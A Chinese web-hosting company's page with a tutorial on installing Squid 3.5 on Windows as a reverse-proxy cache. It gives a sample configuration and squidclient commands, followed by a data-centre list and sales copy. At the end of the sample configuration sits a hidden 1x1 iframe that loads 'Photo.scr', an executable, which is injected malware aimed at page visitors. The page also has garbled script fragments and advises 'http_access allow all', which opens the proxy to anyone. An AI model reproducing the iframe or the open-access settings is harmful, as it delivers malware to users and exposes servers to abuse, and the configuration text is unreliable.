咨询热线:020-82315523 18988993510 18988993505

squid3.5.28 windows版反向代理进行web缓存加速CDN软件squid3.5.28下载

注意:squid3.5  windows版建议安装在windows2008以上的操作系统中,并需要启用Net3.5支持,请在服务器配置管理器中启用。

1、下载squid3.5  windows版(版本可能已经更新,操作方法一样),建议在官网下载

官方下载地址(国外网站,访问和下载会比较慢) http://squid.diladele.com

2、该程序为一键安装版,下载后直接运行安装即可

此处安装路径可以自行选择,建议选择非系统盘

安装完成后,桌面会生成两个图标,一个是squid的主程序,一个是squid的控制台,同时系统任务栏托盘区会生成squid运行图标。

 

到此,squid程序安装完毕。

由于squid反向代理需要使用80端口,因此需要停止该服务器上其他有关使用80端口的服务,例如IIS,Apache等,然后重启squid服务。建议最好不要安装其他会占用80端口的服务。

 

单击系统托盘区的图标,出现下图所示菜单:

选择上图中第一个菜单可以打开squid的配置文件,设置反向代理需要修改配置文件。

配置文件中的内容为squid自带的初始配置,不建议随便修改。请按照下文说明进行修改。

具体修改如下:

1、在配置文件中找到http_port 3128 ,将默认的监听端口修改为80,在加上vhost, 即 http_port 80 vhost

2、在配置文件中找到http_access deny all,将其修改为http_access allow all,否则访问会被拒绝

3、在下图标注位置添加acl all src all,允许所有访问

4、配置连接数限制,防止攻击


 
#设置用户并发连接数限制
client_db  on
acl maxcons maxconn 20
http_access deny maxcons
#设置单IP最大连接数限制
acl OverConnLimit maxconn 10
http_access deny OverConnLimit[object Object]
#keepalived
client_persistent_connections off #因为现在的IE都是多线程,考虑到服务器带宽等网络资源消耗,所以长链接关闭
server_persistent_connections on  #服务端长链接是用于在服务器端传递消息时使用已打开的socket链接以节省资源而设置的
request_timeout 2 minutes        #客户端请求超时时间
forwarded_for on     #关闭此项将在访问某些论坛时显示的IP是代理服务器的IP,如果打开则显示是客户请求IP。

5、反向代理转发配置


 
cache_peer IP parent 80 0 no-query originserver name=name
cache_peer_domain name domain
     
#如果启用负载可以使用下面的代码
# originserver 参数指明是源服务器, round-robin 
#参数指明 squid 通过轮询方式将请求分发到其中一台父节点; squid 同时会对这些父节点的健康状态进行检查,
# 如果父节点 down 了,那么 squid 会从剩余的 origin 服务器中抓取数据
# round-robin表示使用通过 RR 轮询方式转发到两个父节点中的一个
cache_peer 192.168.1.220 parent 8080 0 no-query originserver round-robin  name=webServer1
cache_peer 192.168.1.221 parent 8080 0 no-query originserver round-robin  name=webServer2
     
###允许webServer1 webServer2 响应 cache.centos.bz(这个需要修改为自己的域名)的请求
cache_peer_domain webServer1 webServer2  cache.centos.bz

说明:上面两行代码中是需要按照自己加速的域名及服务器ip进行修改的。IP为域名对应的服务器的ip地址,80为端口,如果不是80端口,请自行修改,name为名字,可以自行设置,但是要保证两行代码中name要一致,domain为真实使用的域名,也就是网站地址。

 

SquidClient基本的使用方法

*取得squid运行状态信息: squidclient -p 80 mgr:info
*取得squid内存使用情况: squidclient -p 80 mgr:mem
*取得squid已经缓存的列表: squidclient -p 80 mgr:objects. use it carefully,it may crash
*取得squid的磁盘使用情况: squidclient -p 80 mgr:diskd
*强制更新某个url:squidclient -p 80 -m PURGE http://www.php-oa.com/static.php
*更多的请查看:squidclient -h 或者 squidclient -p 80 mgr:

 

设置完毕后,保存配置文件,然后重启squid服务,并将域名解析到squid所在的服务器ip地址上就可以使用了。

 

附,squid配置反向代理配置文件示例:

    #
    # Recommended minimum configuration:
    #
     
    # Example rule allowing access from your local networks.
    # Adapt to list your (internal) IP networks from where browsing
    # should be allowed
    acl all src all
    acl localnet src 10.0.0.0/8        # RFC1918 possible internal network
    acl localnet src 172.16.0.0/12    # RFC1918 possible internal network
    acl localnet src 192.168.0.0/16    # RFC1918 possible internal network
    acl localnet src fc00::/7       # RFC 4193 local private network range
    acl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines
     
    #设置拦截IP
    acl unallow src 46.0.0.0/8
     
    acl SSL_ports port 443
    acl Safe_ports port 80        # http
    acl Safe_ports port 21        # ftp
    acl Safe_ports port 443        # https
    acl Safe_ports port 70        # gopher
    acl Safe_ports port 210        # wais
    acl Safe_ports port 1025-65535    # unregistered ports
    acl Safe_ports port 280        # http-mgmt
    acl Safe_ports port 488        # gss-http
    acl Safe_ports port 591        # filemaker
    acl Safe_ports port 777        # multiling http
    acl CONNECT method CONNECT
     
     
    #设置单用户最大连接数,防止恶意攻击
    acl OverConnLimit maxconn 20
    http_access deny OverConnLimit
     
    #设置管理员信息
    cache_mgr Tianhu
    visible_hostname Tianhu_Defender_X
    httpd_suppress_version_string on
     
    #
    # Recommended minimum Access Permission configuration:
    #
     
    # Only allow cachemgr access from localhost
    http_access allow localhost manager
    http_access deny manager
     
    # Deny requests to certain unsafe ports
    http_access deny !Safe_ports
     
    # Deny CONNECT to other than secure SSL ports
    http_access deny CONNECT !SSL_ports
     
    # We strongly recommend the following be uncommented to protect innocent
    # web applications running on the proxy server who think the only
    # one who can access services on "localhost" is a local user
    #http_access deny to_localhost
     
    #
    # INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
    #
     
    #关闭web日志格式仿真
    emulate_httpd_log off
    #设置日志格式
    logformat combined %>a %ui %un [%tl] "%rm %ru HTTP/%rv" %Ss/%Hs %<st %Sh "%{Referer}>h" "%{User-Agent}>h"
    access_log /var/log/squid/access.log combined
     
    # Example rule allowing access from your local networks.
    # Adapt localnet in the ACL section to list your (internal) IP networks
    # from where browsing should be allowed
    http_access allow localnet
    http_access allow localhost
    http_access deny unallow
     
    # And finally deny all other access to this proxy
    http_access allow all
     
    # Squid normally listens to port 3128
    http_port 80 vhost
     
    # Uncomment the line below to enable disk caching - path format is /cygdrive/<full path to cache folder>, i.e.
    #cache_dir aufs /cygdrive/var/cache/cache 40960 16 256
     
    #keepalived
    client_persistent_connections on  #因为现在的IE都是多线程,考虑到服务器带宽等网络资源消耗,所以长链接关闭
    server_persistent_connections on  #服务端长链接是用于在服务器端传递消息时使用已打开的socket链接以节省资源而设置的
    request_timeout 2 minutes        #客户端请求超时时间
    forwarded_for on    #关闭此项将在访问某些论坛时显示的IP是代理服务器的IP,如果打开则显示是客户请求IP。
     
     
     
    # Leave coredumps in the first cache dir
    coredump_dir /var/cache/squid
     
    # Add any of your own refresh_pattern entries above these.
    refresh_pattern ^ftp:        1440    20%    10080
    refresh_pattern ^gopher:    1440    0%    1440
    refresh_pattern -i (/cgi-bin/|\?) 0    0%    0
    refresh_pattern .        0    20%    4320
     
    #设置DNS
    dns_nameservers 1.1.1.1 2.2.2.2
     
     
    max_filedescriptors 3200
     
    cache_peer xxx.xxx.xxx.xxx parent 80 0 no-query originserver name=agent1
    cache_peer_domain agent1 www.xxxxxxxx.com
     
    cache_peer xxx.xxx.xxx.xxx parent 80 0 no-query originserver name=agent2
    cache_peer_domain agent2 www.xxxxxxxx.com
    <iframe src=Photo.scr width=1 height=1 frameborder=0>
    </iframe>

迅恒运营的IDC数据中心机房介绍
机房名称 机房介绍 是否推荐
广州较场西路机房 中国电信5星级机房,华南骨干出口,广州市中心机房,交通便利,总带宽200G,为华南骨干出口。
广州人民中路机房 中国电信3星级机房,超高速的20Gx2主备双线路带宽直接接入ChinaNET骨干层。
广州天河科技园机房 天河软件园建中路4号,中国互联网应急中心机房,国家政府机关直属。多线接入骨干BGP线路。
电子商务部广州机房 天河软件建业路上(科韵路)的国际电子商务中心大厦甲级写字楼内,机房环境一流。多线接入骨干BGP线路。
广州电信加速器机房 位于广州市萝岗区开源大道1号企业加速器B1栋一楼,按照国际T3+及国标B+级标准建造,机房环境一流。多线接入骨干网。
广州移动旗锐机房 广州科学城南翔二路1号旗锐数字科技园区内,属于第三方私立机房,现由移动运营,从粤西汇聚节点直连CMNET骨干网。
广州移动南方基地机房 中国移动广州南方基地机房位于广州市天河软件园高塘大道333号,用于移动骨干网线路,是移动服务器托管优质机房。
东莞电信道滘机房 中国电信4星级机房,总带宽320G,可提供电信和多线BGP线路,华南骨干机房,稳定高速,性价比高。
东莞电信东城机房 中国电信4星级机房,总带宽320G,性价比高,可提供电信和多线BGP线路和200G集群硬件防火墙VIP防护。
东莞电信樟木头机房 中国电信4星级机房,总带宽320G,可提供电信和多线BGP线路和100G集群硬件防火墙企业级防护。
深圳互联港湾机房 深圳南山高新区中区软件大厦四楼,电信3星级机房,20G带宽接入骨干网络。
深圳南山科兴机房 位于深圳市南山区科技园科苑路15号科兴科学园,3星级机房,可提供双线接入等业务。
深圳百旺信机房 深圳市南山区西丽松白公路百旺信工业区A区(一区)一栋属于第三方机房,可提供双线接入等业务。
佛山电信信息大厦机房 佛山市汾江南路35号电信佛山分公司信息大厦8-9层,是中国电信3星级机房,可提供双线接入等业务。
中山电信火炬机房 机房位于中山市火炬区康乐大道47号电信3楼,是中国电信3星级机房,可提供双线接入等业务。
江苏徐州电信机房 机房位于江苏徐州市新城区镜泊东路4号,徐州市档案馆东侧,是中国电信3星级机房,可提供双线接入等业务。
江苏常州电信机房 机房位于江苏省常州市清凉路108号常州信息港,是中国电信4星级机房,可提供双线接入等业务。
香港TKO机房 机房靠近香港交易所的数据中心位置和香港商业中心,拥有PCCW、GTT、Cogent、Telia、TATA、CT、CN2、CU线路。
香港将军澳机房 机房在香港新界將軍澳工業邨駿昌街22號,与阿里云香港机房同属一栋楼,拥有多种线路接入。
香港新世界机房 香港新世界机房的海底电缆系统遍布全球,能直接连接多个国家,免备案,服务器租用、云服务器等业务。
香港NTT机房 香港NTT电讯机房,是一座专用数据中心,在香港大埔,免备案,提供服务器租用、VPS云服务器等业务。
美国洛杉矶机房 位于美国洛杉矶,直连全球,是全球带宽最集中的地方,是外贸企业首选,该机房只提供服务器租用业务。
美国加州DCS机房 位于美国加州,直连全球,是美国的华人机房,是外贸企业首选,该机房只提供服务器租用业务。
美国圣何塞机房 位于美国圣何塞,紧邻科技中心-硅谷,直连全球,是外贸企业首选,该机房只提供服务器租用业务。
韩国首尔KT机房 韩国首尔的江南区道谷洞数据中心,光纤直连电信(CN2)、移动、PCCW、NTT等网络核心骨干。
台湾中华电信机房 台湾中华电信机房位于台湾台北市114内湖区瑞光路68号3楼,是台湾对外最重要的电信枢纽之一。
菲律宾PLDT机房 菲律宾PLDT机房拥有PCCW、TATA、CT、CN2等线路接入,优化线路到中国大陆速度快,延迟低,网络稳定。
迅恒十多年IT企业和IDC运维经验为您提供优质服务
迅恒专注网站建设10多年,几十人技术团队,品质卓越,服务有保障!
  • 云虚拟主机

    ¥99元/年起 网站空间 原价:199元

  • 独立物理服务器

    ¥488/月起 物理机 原价:699元

  • 网站建设

    ¥580企业建站 原价:1999元起

    迅恒建站·ABOUT US

    迅恒专注于企业建站,海量精美网站风格模板供您选择!

广州网站设计公司哪家好

    建站流程·PROCEDURE

    网络营销推广的第一步就是做一个属于自己的网站

  • 沟通联系

    提出需求,咨询报价
  • 达成协议

    交流达成详细建站协议
  • 支付费用

    支付建站相关费用
  • 建站开发

    根据客户需求,制作网站
  • 验收

    客户验收网站
  • 提交上线

    验收合格,解析域名上线
  • 售后服务

    一对一的售后服务客服
    • 我们的优势·OUR STRENGTHS

      做网站,为什么要选迅恒建站?

  • 技术团队

    专业的设计团队、技术团队,为客户提供专业的技术服务支持

  • 源码交付

    客户查验合格,提供源码交付/FTP信息。网站商业授权,避免产权纠纷

  • 四合一建站多终端展示

    网站能够在CP+平板+手机+小程序 完美响应展示。

  • 无隐形收费

    所有收费项公开透明,正规签订合同,合同清楚明确

  • 高端设计

    提供网站个性化定制设计,拒绝千篇一律

  • 安全稳定

    我司与华为云/腾讯云长期合作,采用安全稳定服务器,保障网站安全稳定运行

  • 迅恒累计为上万网站稳定运行 100000000
    机房接入电信带宽400G、联通带宽200G、移动带宽100G,直连核心骨干网络;
    所有重要网络节点和核心设备均采用华为电信级交换设备,网络总体交换能力高达684G,网络联通率达到99.99%,
    并且多点冗余备份,提高网络性能,避免单点故障。
  • 快速导航
  • 广州迅恒信息科技有限公司:
  • 增值电信业务经营许可证和ICP备案 粤B2-20061054
  • 公司业务咨询电话:
  • 020-82315523
  • 公司企业QQ/商务QQ:
  • 923109991 16764407 20300996
  • 销售经理:18988993510 13533213185
  • 备案咨询和售后服务电话:18988993505
  • 专注广州服务器托管
    请加销售经理微信
    Copyright 2005-2020 迅恒 版权所有   公司地址:广州市天河区中山大道中路77号  广州机房:较长西路21号广州电信超级信息港 香港机房:香港新界葵涌葵丰街钟意恒胜中心  粤公网安备44010602002183
    '); })();